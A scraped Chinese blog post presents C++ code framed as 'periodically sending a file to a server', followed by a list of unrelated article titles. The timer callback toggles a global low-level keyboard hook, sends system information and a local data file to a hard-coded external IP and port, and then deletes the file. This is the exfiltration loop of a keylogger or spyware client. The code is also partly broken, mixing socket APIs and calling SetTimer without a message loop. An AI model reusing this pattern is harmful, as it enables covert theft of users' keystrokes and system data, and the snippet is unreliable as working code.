C++ 定时发送文件到服务器
来源:互联网 发布:家具展示软件 编辑:程序博客网 时间:2024/05/03 23:01
VOID CALLBACK TimerProc(HWND hWnd, UINT nMsg, UINT nIDEvent, DWORD dwTime){//SetHookOff();UnhookWindowsHookEx(g_hLLKeyboardHook);char End[7] = {"holmes"};AfxSocketInit();char a;//getSysInfo();//WSADATA wsaData;//WSAStartup(MAKEWORD(2, 2), &wsaData);char check[7] = { "nibiru" };//CString strIP = {L"121.42.15.225"};//UINT strPort = {43305};UINT nPort = atoi("43305");CString strIP = _T("121.42.15.225") ;CSocket s;s.Socket();s.Connect(strIP,nPort);/*SOCKET s = socket(PF_INET, SOCK_STREAM, IPPROTO_TCP);sockaddr_in sockAddr;sockAddr.sin_family = PF_INET;sockAddr.sin_addr.S_un.S_addr = inet_addr("121.42.15.225");sockAddr.sin_port = htons(43305);*///printf("I'm Client\r\n");//connect(s, (SOCKADDR*)&sockAddr, sizeof(SOCKADDR));s.Send(check,6); //给客户端发送SysInfo结构体s.Send((const char *)&SysInfo, sizeof(dSysInfo), 0); //给客户端发送SysInfo结构体//printf("send Sysinfo successful!\r\n");//Sleep(10000);TCHAR FileName[] = { L"D:\\SysInfo.dat" };HANDLE hFile = CreateFile(FileName, GENERIC_READ, 0, 0, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, 0);char SendBuf[1024];char EndBuf[1024] = {"holmes"};DWORD dwRead;BOOL bRet;while (TRUE){bRet = ReadFile(hFile, SendBuf, 1024, &dwRead, NULL);if (bRet == FALSE) {//MessageBox(NULL, L"Read Buf ERROR!", L"Error", MB_OK);break;}else if (dwRead == 0){//MessageBox(NULL, L"Send file OK!", L"OK", MB_OK);send(s,EndBuf , 1024, 0);break;}else{send(s, SendBuf, dwRead, 0);}//recv(s, szBufferAccpect, MAXBYTE, NULL);//cout<<"Server:"<<szBufferAccpect<<endl;}/*closesocket(s);WSACleanup();*/s.Close();CloseHandle(hFile);DeleteFile(L"D:\\SysInfo.dat");//SetHookOn();g_hLLKeyboardHook = (HHOOK)SetWindowsHookEx(WH_KEYBOARD_LL, (HOOKPROC)LowLevelKeyboardProc, theApp.m_hInstance, 0);}int main(void ){SetTimer(1, 100000, TimerProc);return 0;}
0 0
- C++ 定时发送文件到服务器
- Java自动定时发送文件到服务器
- REST接口POST方法发送文件到服务器(C#)
- 定时上传文件到服务器脚本
- 用存储过程定时发送数据到网络服务器
- java 远程 发送文件到服务器
- bat定时循环上传文件到ftp服务器
- Android以后台Service的方式获取GPS数据,并定时发送到服务器
- Android以后台Service方式获取GPS数据,并定时发送到服务器
- Java——定时请求后端接口数据发送RabbitMQ消息队列到指定MQ服务器
- 发送数据到服务器
- 发送图片到服务器
- java 采用socket模拟HTTP协议发送文件到服务器
- java远程发送文件到服务器(jcifs.smb实现方式)
- PHP通过Curl发送文件到远程服务器
- virtualbox虚拟的Linux机器发送文件到windows服务器
- Oracle自动定时发送数据到邮箱
- 服务器定时任务vbs文件
- 多态应用举例2
- Android下SQLite数据库学习笔记2——Android下SQL语句实现数据库的增删改查
- scu oj 4443 Range Query (scoure :2015年四川省acm省赛)
- 关于Redis修改配置没有效果的问题分析
- 猫狗收容所
- C++ 定时发送文件到服务器
- HBase基础知识(2):CRUD操作之get方法
- 択捉島訪問―ロシアの無益な挑発
- 奇数幻方构造法
- OpenCV 1.0 颜色直方图操作(建立,获取bin,给bin赋值)
- 左上角和右上角的按钮
- Winform(C#)Flash控件 属性 方法 事件
- php 对象复制(克隆)clone()
- 机房收费系统之上下机